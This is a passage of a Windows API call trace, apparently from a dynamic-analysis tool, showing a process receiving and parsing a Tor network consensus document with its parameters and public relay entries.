buf=0x8697b3*, len=1057, flags=0 | out: buf=0x8697b3*) returned 1057 [0119.782] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.782] rand () returned 19815 [0119.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de80330, dwHighDateTime=0x1d31ac1)) [0119.782] WSASetLastError (iError=0) [0119.782] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.782] SetLastError (dwErrCode=0x0) [0119.782] WSASetLastError (iError=0) [0119.782] recv (in: s=0x1d4, buf=0x865668, len=1000, flags=0 | out: buf=0x865668*) returned 1000 [0119.782] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.782] rand () returned 22888 [0119.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de80330, dwHighDateTime=0x1d31ac1)) [0119.782] WSASetLastError (iError=0) [0119.782] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.782] SetLastError (dwErrCode=0x0) [0119.782] WSASetLastError (iError=0) [0119.782] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.783] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.783] rand () returned 19156 [0119.783] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de80330, dwHighDateTime=0x1d31ac1)) [0119.783] WSASetLastError (iError=0) [0119.783] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.783] SetLastError (dwErrCode=0x0) [0119.783] WSASetLastError (iError=0) [0119.783] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 612 [0119.783] SetLastError (dwErrCode=0x0) [0119.783] WSASetLastError (iError=0) [0119.783] recv (in: s=0x1d4, buf=0x8658cc, len=3460, flags=0 | out: buf=0x8658cc) returned -1 [0119.783] WSAGetLastError () returned 10035 [0119.783] GetCurrentThreadId () returned 0x918 [0119.783] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.784] rand () returned 11511 [0119.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de80330, dwHighDateTime=0x1d31ac1)) [0119.784] WSASetLastError (iError=0) [0119.784] recv (in: s=0x1d4, buf=0x8658cc, len=3460, flags=0 | out: buf=0x8658cc*) returned 1452 [0119.784] SetLastError (dwErrCode=0x0) [0119.784] WSASetLastError (iError=0) [0119.784] recv (in: s=0x1d4, buf=0x865e78, len=2008, flags=0 | out: buf=0x865e78*) returned 1452 [0119.784] SetLastError (dwErrCode=0x0) [0119.784] WSASetLastError (iError=0) [0119.784] recv (in: s=0x1d4, buf=0x866424, len=556, flags=0 | out: buf=0x866424*) returned 556 [0119.784] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.784] rand () returned 16202 [0119.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dea6490, dwHighDateTime=0x1d31ac1)) [0119.817] strncmp (_Str1="HTTP/1", _Str2="Date: ", _MaxCount=0x6) returned 4 [0119.817] strlen (_Str="Date: ") returned 0x6 [0119.817] strncmp (_Str1="Date: ", _Str2="Date: ", _MaxCount=0x6) returned 0 [0119.817] strlen (_Str="Mon, 21 Aug 2017 21:05:46 GMT") returned 0x1d [0119.817] strncmp (_Str1="HTTP/1.0 200 OK", _Str2="Content-Encoding: ", _MaxCount=0x12) returned 5 [0119.817] strlen (_Str="Content-Encoding: ") returned 0x12 [0119.817] strncmp (_Str1="Date: Mon, 21 Aug ", _Str2="Content-Encoding: ", _MaxCount=0x12) returned 1 [0119.818] strlen (_Str="Content-Encoding: ") returned 0x12 [0119.818] strncmp (_Str1="Content-Type: appl", _Str2="Content-Encoding: ", _MaxCount=0x12) returned 15 [0119.818] strlen (_Str="Content-Encoding: ") returned 0x12 [0119.818] strncmp (_Str1="X-Your-Address-Is:", _Str2="Content-Encoding: ", _MaxCount=0x12) returned 21 [0119.818] strlen (_Str="Content-Encoding: ") returned 0x12 [0119.818] strncmp (_Str1="Content-Encoding: ", _Str2="Content-Encoding: ", _MaxCount=0x12) returned 0 [0119.818] strcmp (_Str1="deflate", _Str2="identity") returned -1 [0119.818] strcmp (_Str1="deflate", _Str2="deflate") returned 0 [0119.818] strncmp (_Str1="xÚÔ½Ùv", _Str2="router", _MaxCount=0x6) returned 6 [0119.818] strlen (_Str="network-status") returned 0xe [0119.818] strncmp (_Str1="xÚÔ½ÙvâX³-|_OÁ", _Str2="network-status", _MaxCount=0xe) returned 10 [0119.856] strncmp (_Str1="vote-status", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.856] strncmp (_Str1="consensus-m", _Str2="-----BEGIN ", _MaxCount=0xb) returned 54 [0119.856] strncmp (_Str1="valid-after", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.857] strlen (_Str="valid-after") returned 0xb [0119.857] strncmp (_Str1="fresh-until", _Str2="-----BEGIN ", _MaxCount=0xb) returned 57 [0119.857] strncmp (_Str1="valid-until", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.857] strncmp (_Str1="voting-dela", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.857] strncmp (_Str1="client-vers", _Str2="-----BEGIN ", _MaxCount=0xb) returned 54 [0119.857] strncmp (_Str1="server-vers", _Str2="-----BEGIN ", _MaxCount=0xb) returned 70 [0119.857] strncmp (_Str1="known-flags", _Str2="-----BEGIN ", _MaxCount=0xb) returned 62 [0119.857] strncmp (_Str1="recommended", _Str2="-----BEGIN ", _MaxCount=0xb) returned 69 [0119.857] strncmp (_Str1="recommended", _Str2="-----BEGIN ", _MaxCount=0xb) returned 69 [0119.857] strncmp (_Str1="required-cl", _Str2="-----BEGIN ", _MaxCount=0xb) returned 69 [0119.857] strncmp (_Str1="required-re", _Str2="-----BEGIN ", _MaxCount=0xb) returned 69 [0119.857] strncmp (_Str1="params Circ", _Str2="-----BEGIN ", _MaxCount=0xb) returned 67 [0119.857] strncmp (_Str1="shared-rand", _Str2="-----BEGIN ", _MaxCount=0xb) returned 70 [0119.857] strncmp (_Str1="shared-rand", _Str2="-----BEGIN ", _MaxCount=0xb) returned 70 [0119.857] strncmp (_Str1="dir-source ", _Str2="-----BEGIN ", _MaxCount=0xb) returned 55 [0119.857] strncmp (_Str1="contact And", _Str2="-----BEGIN ", _MaxCount=0xb) returned 54 [0119.857] strncmp (_Str1="vote-digest", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.857] strncmp (_Str1="dir-source ", _Str2="-----BEGIN ", _MaxCount=0xb) returned 55 [0119.857] strncmp (_Str1="contact Pet", _Str2="-----BEGIN ", _MaxCount=0xb) returned 54 [0119.858] strncmp (_Str1="vote-digest", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.858] strncmp (_Str1="dir-source ", _Str2="-----BEGIN ", _MaxCount=0xb) returned 55 [0119.858] strncmp (_Str1="contact Ris", _Str2="-----BEGIN ", _MaxCount=0xb) returned 54 [0119.858] strncmp (_Str1="vote-digest", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.858] strncmp (_Str1="dir-source ", _Str2="-----BEGIN ", _MaxCount=0xb) returned 55 [0119.858] strncmp (_Str1="contact 409", _Str2="-----BEGIN ", _MaxCount=0xb) returned 54 [0119.858] strncmp (_Str1="vote-digest", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.858] strncmp (_Str1="dir-source ", _Str2="-----BEGIN ", _MaxCount=0xb) returned 55 [0119.858] strncmp (_Str1="contact 102", _Str2="-----BEGIN ", _MaxCount=0xb) returned 54 [0119.858] strncmp (_Str1="vote-digest", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.858] strncmp (_Str1="dir-source ", _Str2="-----BEGIN ", _MaxCount=0xb) returned 55 [0119.858] strncmp (_Str1="contact 102", _Str2="-----BEGIN ", _MaxCount=0xb) returned 54 [0119.858] strncmp (_Str1="vote-digest", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.858] strncmp (_Str1="dir-source ", _Str2="-----BEGIN ", _MaxCount=0xb) returned 55 [0119.858] strncmp (_Str1="contact 409", _Str2="-----BEGIN ", _MaxCount=0xb) returned 54 [0119.858] strncmp (_Str1="vote-digest", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.858] strncmp (_Str1="dir-source ", _Str2="-----BEGIN ", _MaxCount=0xb) returned 55 [0119.858] strncmp (_Str1="contact 0x0", _Str2="-----BEGIN ", _MaxCount=0xb) returned 54 [0119.858] strncmp (_Str1="vote-digest", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.858] strtol (in: _Str="26", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 26 [0119.859] _errno () returned 0x9f07d8 [0119.859] _errno () returned 0x9f07d8 [0119.859] strtol (in: _Str="300", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 300 [0119.859] _errno () returned 0x9f07d8 [0119.859] _errno () returned 0x9f07d8 [0119.859] strtol (in: _Str="300", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 300 [0119.859] _errno () returned 0x9f07d8 [0119.859] strtol (in: _Str="30000", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 30000 [0119.859] _errno () returned 0x9f07d8 [0119.859] strtol (in: _Str="3", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 3 [0119.859] _errno () returned 0x9f07d8 [0119.859] strcmp (_Str1="CircuitPriorityHalflifeMsec=30000", _Str2="NumDirectoryGuards=3") returned -1 [0119.859] strlen (_Str="CircuitPriorityHalflifeMsec") returned 0x1b [0119.859] strtol (in: _Str="1", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 1 [0119.859] _errno () returned 0x9f07d8 [0119.859] strcmp (_Str1="NumDirectoryGuards=3", _Str2="NumEntryGuards=1") returned -1 [0119.859] strlen (_Str="NumDirectoryGuards") returned 0x12 [0119.859] strtol (in: _Str="100", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 100 [0119.859] _errno () returned 0x9f07d8 [0119.859] strcmp (_Str1="NumEntryGuards=1", _Str2="NumNTorsPerTAP=100") returned -1 [0119.859] strlen (_Str="NumEntryGuards") returned 0xe [0119.859] strtol (in: _Str="0", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 0 [0119.859] _errno () returned 0x9f07d8 [0119.859] strcmp (_Str1="NumNTorsPerTAP=100", _Str2="Support022HiddenServices=0") returned -1 [0119.859] strlen (_Str="NumNTorsPerTAP") returned 0xe [0119.859] strtol (in: _Str="1", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 1 [0119.859] _errno () returned 0x9f07d8 [0119.859] strcmp (_Str1="Support022HiddenServices=0", _Str2="UseNTorHandshake=1") returned -1 [0119.859] strlen (_Str="Support022HiddenServices") returned 0x18 [0119.859] strtol (in: _Str="1", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 1 [0119.859] _errno () returned 0x9f07d8 [0119.859] strcmp (_Str1="UseNTorHandshake=1", _Str2="UseOptimisticData=1") returned -1 [0119.859] strlen (_Str="UseNTorHandshake") returned 0x10 [0119.859] strtol (in: _Str="1", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 1 [0119.859] _errno () returned 0x9f07d8 [0119.860] strcmp (_Str1="UseOptimisticData=1", _Str2="bwauthpid=1") returned -1 [0119.860] strlen (_Str="UseOptimisticData") returned 0x11 [0119.860] strtol (in: _Str="10", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 10 [0119.860] _errno () returned 0x9f07d8 [0119.860] strcmp (_Str1="bwauthpid=1", _Str2="cbttestfreq=10") returned -1 [0119.860] strlen (_Str="bwauthpid") returned 0x9 [0119.860] strtol (in: _Str="0", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 0 [0119.860] _errno () returned 0x9f07d8 [0119.860] strcmp (_Str1="cbttestfreq=10", _Str2="pb_disablepct=0") returned -1 [0119.860] strlen (_Str="cbttestfreq") returned 0xb [0119.860] strtol (in: _Str="0", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 0 [0119.860] _errno () returned 0x9f07d8 [0119.860] strcmp (_Str1="pb_disablepct=0", _Str2="usecreatefast=0") returned -1 [0119.860] strlen (_Str="pb_disablepct") returned 0xd [0119.860] htonl (hostlong=0xc117f4f4) returned 0xf4f417c1 [0119.860] htonl (hostlong=0xf4f417c1) returned 0xc117f4f4 [0119.860] _errno () returned 0x9f07d8 [0119.860] strtol (in: _Str="80", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 80 [0119.860] _errno () returned 0x9f07d8 [0119.860] _errno () returned 0x9f07d8 [0119.860] strtol (in: _Str="443", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 443 [0119.860] _errno () returned 0x9f07d8 [0119.860] htonl (hostlong=0x563b1526) returned 0x26153b56 [0119.860] htonl (hostlong=0x26153b56) returned 0x563b1526 [0119.860] _errno () returned 0x9f07d8 [0119.860] strtol (in: _Str="80", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 80 [0119.860] _errno () returned 0x9f07d8 [0119.860] _errno () returned 0x9f07d8 [0119.860] strtol (in: _Str="443", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 443 [0119.860] _errno () returned 0x9f07d8 [0119.860] htonl (hostlong=0xc7feee35) returned 0x35eefec7 [0119.860] htonl (hostlong=0x35eefec7) returned 0xc7feee35 [0119.860] _errno () returned 0x9f07d8 [0119.860] strtol (in: _Str="80", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 80 [0119.860] _errno () returned 0x9f07d8 [0119.860] _errno () returned 0x9f07d8 [0119.860] strtol (in: _Str="443", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 443 [0119.860] _errno () returned 0x9f07d8 [0119.860] htonl (hostlong=0xab19c109) returned 0x9c119ab [0119.860] htonl (hostlong=0x9c119ab) returned 0xab19c109 [0119.860] _errno () returned 0x9f07d8 [0119.860] strtol (in: _Str="443", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 443 [0119.860] _errno () returned 0x9f07d8 [0119.860] _errno () returned 0x9f07d8 [0119.860] strtol (in: _Str="80", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 80 [0119.860] _errno () returned 0x9f07d8 [0119.861] htonl (hostlong=0x801f0022) returned 0x22001f80 [0119.861] htonl (hostlong=0x22001f80) returned 0x801f0022 [0119.861] _errno () returned 0x9f07d8 [0119.861] strtol (in: _Str="9131", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 9131 [0119.861] _errno () returned 0x9f07d8 [0119.861] _errno () returned 0x9f07d8 [0119.861] strtol (in: _Str="9101", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 9101 [0119.861] _errno () returned 0x9f07d8 [0119.861] htonl (hostlong=0xc26dced4) returned 0xd4ce6dc2 [0119.861] htonl (hostlong=0xd4ce6dc2) returned 0xc26dced4 [0119.861] _errno () returned 0x9f07d8 [0119.861] strtol (in: _Str="80", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 80 [0119.861] _errno () returned 0x9f07d8 [0119.861] _errno () returned 0x9f07d8 [0119.861] strtol (in: _Str="443", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 443 [0119.861] _errno () returned 0x9f07d8 [0119.861] htonl (hostlong=0x83bc28bd) returned 0xbd28bc83 [0119.861] htonl (hostlong=0xbd28bc83) returned 0x83bc28bd [0119.861] _errno () returned 0x9f07d8 [0119.861] strtol (in: _Str="80", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 80 [0119.861] _errno () returned 0x9f07d8 [0119.861] _errno () returned 0x9f07d8 [0119.861] strtol (in: _Str="443", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 443 [0119.861] _errno () returned 0x9f07d8 [0119.861] htonl (hostlong=0x9a23afe1) returned 0xe1af239a [0119.861] htonl (hostlong=0xe1af239a) returned 0x9a23afe1 [0119.861] _errno () returned 0x9f07d8 [0119.861] strtol (in: _Str="80", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 80 [0119.861] _errno () returned 0x9f07d8 [0119.861] _errno () returned 0x9f07d8 [0119.861] strtol (in: _Str="443", _EndPtr=0x36f0d4, _Radix=10 | out: _EndPtr=0x36f0d4*="") returned 443 [0119.861] _errno () returned 0x9f07d8 [0119.861] strncmp (_Str1="r ", _Str2="r ", _MaxCount=0x2) returned 0 [0119.861] strstr (_Str="r networkofthesmoker AAaX5kASI9/xzl9Qp7aFdPOSnrQ 2017-08-21 09:22:20 128.72.184.196 443 0\nm TEsaiSAzxZ+gLnmjcT8XVJ8r4btBK92Y7yHG9Lw15AI\ns Fast Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=2870\nr seele AAoQ1DAR6kkoo19hBAX5K0QztNw 2017-08-21 10:43:09 67.161.31.147 9001 0\nm qGwDnVG4XbQ3YFjfXdB8pNtdShMUzCAIH7Mfu4wCEfI\ns Fast Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=32\nr CalyxInstitute14 ABG9JIWtRdmE7EFZyI/AZuXjMA4 2017-08-21 05:05:15 162.247.72.201 443 80\nm I7ecRR0TjlV0+SRrbMIQM8TG8PTCuJerMsAklr+ZQp4\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3830\nr Neldoreth ABUk3UA9cp8I9+XXeBPvEnVs+o0 2017-08-21 09:58:54 185.13.39.197 443 80\nm IjKmHjHBklzw18501A9gP4XbwGwzazikA4XZHAtyddY\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5740\nr MansikkaMaki04 ABpoc34PraISaJvGDXJn/1XrZyI 2017-08-21 19:11:45 35.196.246.155 9001 9030\nm eebCg4IkvACJGrf4+ma1rHffy223xC2BkxME0JBf+lw\ns Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=20\nr metroholografix ACEhJSRnU4ydobwjeJl+ZGKYFPY 2017-08-21 17:00:57 46.4.253.194 443 9030\nm rLolLZe4zfYDrUmzDTGeU/DdFtAmOzC/OEjtKu7XxsU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=141\nr dj2bee ACaSv+vqmZwxB7Wfcg1/mkwpgZ8 2017-08-21 03:39:28 87.118.116.227 9001 0\nm xieN5PK4YAcfozCB7WfclM5Bucw/FVXWx6OUK8zzoMc\ns Fast Running Stable Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=110\nr UbuntuCore185 ADTrRcdw/y98wosHUBV0zMKgoWw 2017-08-21 06:54:30 88.179.66.116 36543 0\nm 87kCjAEsdYwuZU/RQ0rhUnVVbAczHC0UM8S3unblvb4\ns Fast Running V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=33\nr torbogen AEHgFQsKMHUGwoY+/J8rfjpSOzY 2017-08-21 18:21:54 91.97.53.178 9001 9030\nm 41nHWhtdxaPNpJqBxcRbu7UqGJ+I//dkuN+oJ/nKxaQ\ns Fast Running V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=430\nr havingtrouble AEJpGAnlKLJYyf4BKhxGhZFj8UI 2017-08-21 02:59:14 159.203.42.254 9001 443\nm te1eP9gwzwm5qcmW2owfhrcBTS51ng31HNUK+KZksgg\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19000\nr itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw 